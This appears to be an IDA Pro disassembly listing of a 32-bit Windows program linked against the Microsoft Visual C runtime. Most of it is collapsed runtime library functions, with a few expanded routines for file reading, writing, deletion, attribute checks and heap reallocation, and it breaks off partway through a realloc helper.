; [00000129 BYTES: COLLAPSED FUNCTION __atoi64.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000038 BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000013 BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000013 BYTES: COLLAPSED FUNCTION __c_exit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000E3 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __lockexit. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000025 BYTES: COLLAPSED FUNCTION __initterm. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000FA BYTES: COLLAPSED FUNCTION _sprintf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000010 BYTES: COLLAPSED FUNCTION _srand. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+"	TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION __snprintf. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000242 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F210	proc near		; CODE XREF: sub_401CC7+7627p
					; sub_401CC7+7656p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], ecx

loc_41F225:				; CODE XREF: sub_41F210+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F249
		push	offset aStringNull ; "string !=	NULL"
		push	0		; int
		push	3Bh		; Value
		push	offset aFgets_c	; "fgets.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F249
		int	3		; Trap to Debugger

loc_41F249:				; CODE XREF: sub_41F210+19j
					; sub_41F210+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41F225

loc_41F24F:				; CODE XREF: sub_41F210+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F273
		push	offset aStrNull	; "str != NULL"
		push	0		; int
		push	3Ch		; Value
		push	offset aFgets_c	; "fgets.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F273
		int	3		; Trap to Debugger

loc_41F273:				; CODE XREF: sub_41F210+43j
					; sub_41F210+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41F24F
		cmp	[ebp+arg_4], 0
		jg	short loc_41F286
		xor	eax, eax
		jmp	loc_41F347
; ---------------------------------------------------------------------------

loc_41F286:				; CODE XREF: sub_41F210+6Dj
		mov	ecx, [ebp+arg_8]
		mov	[ebp+File], ecx
		mov	edx, [ebp+File]
		push	edx
		call	__lock_file
		add	esp, 4

loc_41F298:				; CODE XREF: sub_41F210:loc_41F32Dj
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_4], 0
		jz	loc_41F332
		mov	ecx, [ebp+File]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+File]
		mov	[eax+4], edx
		mov	ecx, [ebp+File]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41F2E3
		mov	edx, [ebp+File]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+File]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+File]
		mov	[ecx], eax
		jmp	short loc_41F2F2
; ---------------------------------------------------------------------------

loc_41F2E3:				; CODE XREF: sub_41F210+B1j
		mov	edx, [ebp+File]
		push	edx		; File
		call	__filbuf
		add	esp, 4
		mov	[ebp+var_14], eax

loc_41F2F2:				; CODE XREF: sub_41F210+D1j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_41F311
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_41F30F
		mov	[ebp+var_10], 0
		jmp	short loc_41F338
; ---------------------------------------------------------------------------

loc_41F30F:				; CODE XREF: sub_41F210+F4j
		jmp	short loc_41F332
; ---------------------------------------------------------------------------

loc_41F311:				; CODE XREF: sub_41F210+ECj
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_C]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		cmp	ecx, 0Ah
		jnz	short loc_41F32D
		jmp	short loc_41F332
; ---------------------------------------------------------------------------

loc_41F32D:				; CODE XREF: sub_41F210+119j
		jmp	loc_41F298
; ---------------------------------------------------------------------------

loc_41F332:				; CODE XREF: sub_41F210+95j
					; sub_41F210:loc_41F30Fj ...
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0

loc_41F338:				; CODE XREF: sub_41F210+FDj
		mov	ecx, [ebp+File]
		push	ecx
		call	__unlock_file
		add	esp, 4
		mov	eax, [ebp+var_10]

loc_41F347:				; CODE XREF: sub_41F210+71j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F210	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000331 BYTES: COLLAPSED FUNCTION _strtoxl.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _strtoul.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6D0	proc near		; CODE XREF: sub_401CC7+5A01p
					; .text:0041F727p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F5354	; DeleteFileA
		test	eax, eax
		jnz	short loc_41F6ED
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_41F6F4
; ---------------------------------------------------------------------------

loc_41F6ED:				; CODE XREF: sub_41F6D0+10j
		mov	[ebp+var_4], 0

loc_41F6F4:				; CODE XREF: sub_41F6D0+1Bj
		cmp	[ebp+var_4], 0
		jz	short loc_41F70B
		mov	ecx, [ebp+var_4]
		push	ecx
		call	__dosmaperr
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F70D
; ---------------------------------------------------------------------------

loc_41F70B:				; CODE XREF: sub_41F6D0+28j
		xor	eax, eax

loc_41F70D:				; CODE XREF: sub_41F6D0+39j
		mov	esp, ebp
		pop	ebp
		retn
sub_41F6D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_41F6D0
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [000000C1 BYTES: COLLAPSED FUNCTION _fprintf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000145 BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000F3 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000123 BYTES: COLLAPSED FUNCTION _strncat.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000135 BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000021 BYTES: COLLAPSED FUNCTION __fpmath.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F3550
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F3550, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000135 BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *).	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_4205F0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_420600. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_420610. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000056 BYTES: COLLAPSED FUNCTION _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION ___CxxFrameHandler3. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000026 BYTES: COLLAPSED FUNCTION __CxxLongjmpUnwind(x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo	const *,void *,int,ulong). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000039 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void	*,void *). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000CC BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000081 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000A1 BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000001C BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000B3 BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000004D BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000181 BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000D0 BYTES: COLLAPSED FUNCTION __strcmpi. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000127 BYTES: COLLAPSED FUNCTION __fseek_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421420(void *Str,size_t Size,size_t Count,FILE *File)

sub_421420	proc near		; CODE XREF: sub_416D25+127p

var_4		= dword	ptr -4
Str		= dword	ptr  8
Size		= dword	ptr  0Ch
Count		= dword	ptr  10h
File		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+File]
		push	eax
		call	__lock_file
		add	esp, 4
		mov	ecx, [ebp+File]
		push	ecx		; File
		mov	edx, [ebp+Count]
		push	edx		; Count
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	_fwrite
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+File]
		push	edx
		call	__unlock_file
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421420	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000219 BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+"	TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421680	proc near		; CODE XREF: sub_417471+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F536C	; GetFileAttributesA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_4216AB
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		call	__dosmaperr
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_4216DC
; ---------------------------------------------------------------------------

loc_4216AB:				; CODE XREF: sub_421680+15j
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4216DA
		mov	edx, [ebp+arg_4]
		and	edx, 2
		test	edx, edx
		jz	short loc_4216DA
		call	__errno
		mov	dword ptr [eax], 0Dh
		call	___doserrno
		mov	dword ptr [eax], 5
		or	eax, 0FFFFFFFFh
		jmp	short loc_4216DC
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_421680+33j
					; sub_421680+3Dj
		xor	eax, eax

loc_4216DC:				; CODE XREF: sub_421680+29j
					; sub_421680+58j
		mov	esp, ebp
		pop	ebp
		retn
sub_421680	endp

; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001BF BYTES: COLLAPSED FUNCTION __strupr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isalpha.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isupper.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _islower.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isdigit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isxdigit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isspace.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _ispunct.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isalnum.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isprint.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isgraph.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _iscntrl.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000010 BYTES: COLLAPSED FUNCTION ___isascii. PRESS	KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION ___toascii. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___iscsymf. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___iscsym. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000000B BYTES: COLLAPSED FUNCTION __tolower. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000093 BYTES: COLLAPSED FUNCTION _tolower.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000012B BYTES: COLLAPSED FUNCTION _tolower_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000030 BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+"	TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001EB BYTES: COLLAPSED FUNCTION __mbstowcs_lk. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000132 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_422492	proc near		; DATA XREF: .rdata:0043CDECo
		mov	ecx, [ebp-14h]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp-68h], eax
		mov	ecx, [ebp-14h]
		push	ecx
		mov	edx, [ebp-68h]
		push	edx
		call	__XcptFilter
		add	esp, 8
		retn
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224AD	proc near		; DATA XREF: .rdata:0043CDF0o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-68h]
		push	eax		; Code
		call	__exit
sub_4224AD	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000028 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000002A BYTES: COLLAPSED FUNCTION _fast_error_exit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000012C BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000001A BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __lock_file. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __lock_file2. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __unlock_file. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __unlock_file2. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422760	proc near		; CODE XREF: __CrtDbgReport+113p
					; _CrtMessageWindow+33p
		push	ebp
		mov	ebp, esp
		call	ds:dword_4F5498	; DebugBreak
		pop	ebp
		retn
sub_422760	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000057 BYTES: COLLAPSED FUNCTION __CrtSetReportMode. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000007E BYTES: COLLAPSED FUNCTION __CrtSetReportFile. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F3C10
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F3C10, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000390 BYTES: COLLAPSED FUNCTION __CrtDbgReport. PRESS KEYPAD "+" TO EXPAND]
; [0000030C BYTES: COLLAPSED FUNCTION _CrtMessageWindow. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000007A BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __close_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000092 BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000044 BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION __fflush_lk. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __flushall. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000013F BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000030 BYTES: COLLAPSED FUNCTION _set_new_handler(int (*)(uint)). PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4F3588
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000037 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000009F BYTES: COLLAPSED FUNCTION __mtdeletelocks. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000097 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000016 BYTES: COLLAPSED FUNCTION __unlock.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001C BYTES: COLLAPSED FUNCTION __lockerr_exit. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_4:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __malloc_base. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __nh_malloc_base.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000065 BYTES: COLLAPSED FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_423785. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000077 BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_423807	proc near		; CODE XREF: __heap_alloc_base+E0p
					; DATA XREF: .rdata:0043D05Co
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_423807	endp

; ---------------------------------------------------------------------------
; [0000005B BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423880	proc near		; CODE XREF: _realloc_help+2D4p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0042392C SIZE 000000EE BYTES
; FUNCTION CHUNK AT 00423A25 SIZE 00000068 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D060
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0FFFFFFE0h
		jbe	short loc_4238B0
		xor	eax, eax
		jmp	loc_423A7C
; ---------------------------------------------------------------------------

loc_4238B0:				; CODE XREF: sub_423880+27j
		cmp	dword_4F3BEC, 3
		jnz	loc_423968
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_423913
		mov	[ebp+var_1C], 0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4F3C0C
		ja	short loc_423913
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	___sbh_resize_block
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_423913
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_1C], edx

loc_423913:				; CODE XREF: sub_423880+61j
					; sub_423880+73j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423921
		jmp	short loc_42392C
sub_423880	endp


; =============== S U B	R O U T	I N E =======================================



sub_423921	proc near		; CODE XREF: sub_423880+9Ap
					; DATA XREF: .rdata:0043D068o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_423921	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423880

loc_42392C:				; CODE XREF: sub_423880+9Fj
		cmp	[ebp+var_20], 0
		jnz	short loc_423963
		cmp	[ebp+arg_4], 0
		jnz	short loc_42393F
		mov	[ebp+arg_4], 1

loc_42393F:				; CODE XREF: sub_423880+B6j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4F3BE8
		push	eax
